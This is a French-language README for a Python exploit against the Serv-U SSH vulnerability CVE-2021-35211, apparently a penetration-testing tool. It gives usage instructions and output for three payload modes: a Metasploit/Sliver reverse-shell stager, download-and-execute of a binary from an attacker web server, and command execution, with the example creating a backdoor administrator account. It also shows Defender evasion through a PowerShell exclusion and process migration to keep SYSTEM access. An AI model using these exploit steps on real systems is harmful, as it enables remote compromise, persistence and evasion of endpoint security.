
Exploit Python pour la vulnérabilité SSH de Serv-U (CVE-2021-35211) avec plusieurs modes de payload : stage, exec et download-execute, permettant l'exécution de shellcode et l'injection de commandes.
L'exploit ne fonctionne pas à chaque fois, mais il fonctionne assez souvent pour exécuter du shellcode dans environ 1 exécution sur 5 ou 6. Cependant, un exploit qui échoue peut parfois faire planter le serveur Serv-U. Assurez-vous que vos règles d'engagement autorisent le risque de perte ou de dégradation du service. Les symptômes observés lors des tests incluent :
Caveat emptor.
Les versions sont importantes. Cet exploit utilise des adresses ROP codées en dur qui ne sont valides que pour la version 15.2.3.717 de Serv-U. Nous pourrons peut-être ajouter d'autres versions ; demandez-nous si vous avez besoin qu'il fonctionne avec d'autres versions de Serv-U ou de Windows.
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717
Il accepte les arguments suivants :
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...
Il existe trois modes (ou charges utiles) que vous pouvez utiliser lors d'une attaque réussie :
stageexecdownloadexecEn cas d'exploitation réussie, exécute un stager de shellcode compatible Metasploit/Sliver. C'est le moins fiable de toutes les charges utiles ; envisagez plutôt `downloadexec1. Exécutez-le comme ceci :
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort
positional arguments:
stageHost Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
stagePort Port number for your staging instance
optional arguments:
-h, --help show this help message and exit
stageHost et stagePort pointeront vers un handler en écoute sur votre machine Sliver/Metasploit. Vous pouvez choisir la charge utile que vous voulez, mais j'ai constaté que la seule qui fonctionne de manière fiable est windows/x64/shell/reverse_tcp. C'est dommage, car ce n'est pas un shell chiffré et vous devrez vérifier vos règles d'engagement avant d'obtenir un shell de ce type.
Encore une fois, caveat emptor.
Configurez-le dans Metasploit sur votre machine Kali comme suit :
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.
Puis exécutez l'exploit :
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
De retour sur la machine Kali, vous devriez voir la requête de stage et le shell de commande démarrer :
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000
msf5 >sessions -i 6
[*] Starting interaction with 6...
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system
La prise en charge de Sliver dans la charge utile du stager est hautement expérimentale et fonctionne rarement. Si elle fonctionne, vous verrez normalement les sessions démarrer puis mourir immédiatement. Mais si vous obtenez une session qui ne se termine pas immédiatement, vous pouvez prendre des mesures pour conserver votre accès Sliver en migrant vers un autre processus.
Sur votre serveur Sliver, exécutez la commande stage-listener pour configurer votre listener. Consultez la documentation Sliver pour plus de détails sur le staging :
elvis@h:/ehome/haggis$ sudo sliver-server
███████╗██╗ ██╗██╗ ██╗███████╗██████╗
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║█████╗ ██████╔╝
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options
[*] Check for updates with the 'update' command
sliver >
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode
Exécutez l'exploit en mode stage :
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Si l'exploit fonctionne (et il fonctionne très rarement avec les charges utiles Sliver ou Meterpreter), vous verrez quelque chose comme ceci (et oui, Sliver a trouvé ce nom de charge utile tout seul !) :
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC
sliver > sessions -i 4
[*] Active session ARTISTIC_PANTIES (4)
sliver (ARTISTIC_PANTIES) > info
ID: 4
Name: ARTISTIC_PANTIES
Hostname: WIN-EMCK6E5O0DI
UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
Username: NT AUTHORITY\SYSTEM
UID: S-1-5-18
GID: S-1-5-18
PID: 3956
OS: windows
Version: Server 2016 build 20348 x86_64
Arch: amd64
Remote Address: example.com:57071
Proxy URL: none
Poll Interval: 1
Reconnect Interval: 60
La première chose à faire est de migrer vers un autre processus, car il y a de fortes chances que votre session Sliver meure et ne revienne pas, et je ne connais pas la cause racine au moment où j'écris ces lignes.
sliver (ARTISTIC_PANTIES) > ps
pid ppid owner executable session
=== ==== ===== ========== =======
0 0 [System Process] -1
4 0 System 0
...
3872 728 NT AUTHORITY\SYSTEM svchost.exe 0
4868 728 BUILTIN\Administrators Serv-U.exe 0
4636 868 BUILTIN\Administrators dllhost.exe 0
sliver (ARTISTIC_PANTIES) > migrate 3872
[*] Successfully migrated to 3872
À ce stade, vous devriez avoir une session Sliver stable, insensible aux aléas de Serv-U et de cet exploit.
Le mode le plus fiable et le moins susceptible de se faire repérer par la sécurité des points de terminaison de Microsoft Defender. Cela est dû au fait qu'il utilise une commande PowerShell (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") pour ajouter une exclusion de répertoire dans Microsoft Defender, afin que les binaires Sliver/Meterpreter/autres ne soient pas analysés à la recherche de malwares. Cela vous protégera contre Windows Defender, mais c'est tout ; vous devrez prendre en compte les autres technologies de sécurité des points de terminaison, l'IDS réseau, etc.
En cas de succès, télécharge un binaire depuis une URL et l'exécute. Vous aurez besoin d'un serveur web hébergeant votre fichier exécutable. J'ai utilisé Python, mais veuillez noter que je teste sur un réseau local sans SSL. Dans le cadre d'exploits réels, vous devrez vérifier vos règles d'engagement si vous souhaitez utiliser des URL non chiffrées.
Ce n'est pas la première fois : caveat emptor.
Lancez un simple listener HTTP comme ceci :
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
Avec le listener en cours d'exécution, vous pouvez lancer l'exploit :
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Vous devriez voir quelque chose comme ceci dans votre listener :
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -
La cible exécutera calc.exe et redémarrera le service Serv-U pour permettre aux utilisateurs de se reconnecter. Notez que l'exécutable n'affichera pas de fenêtre, mais si vous exécutez cet exemple, vous devriez voir wincalc.exe dans le Gestionnaire des tâches.
En cas de succès, exécute une commande sur la cible. Exécutez-le comme ceci :
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Cet exploit a malheureusement tendance à faire planter le processus distant. En général, il redémarre, et j'essaie de voir si je peux le rendre plus stable, mais d'ici là, n'oubliez pas : vérifiez vos règles d'engagement et caveat emptor.
Le fait que l'ASLR ait été désactivée sur la DLL de Serv-U a été une chance inouïe et nous a épargné bien des tracas.
D'autres mesures d'atténuation, telles que Control Flow Guard ("CFG"), étaient également désactivées. Là encore, cela a facilité l'écriture d'un exploit sans avoir à contourner l'accès restreint à des fonctions critiques, comme GetProcAddress().
Il convient de souligner que la méthode que j'utilise pour calculer l'adresse de la pile ROP peut, à l'occasion, générer une adresse qui n'est pas alignée sur 64 bits. Par conséquent, lorsque GetProcAddress() atteint une instruction MOVAPS (qui exige que les adresses mémoire soient alignées), l'exploit plante. Pour rendre l'exploit plus fiable, une solution pourrait être de forcer la pile ROP à se trouver à une adresse alignée ; cela demanderait quelques ajustements de la charge utile ROP et est laissé en exercice au lecteur.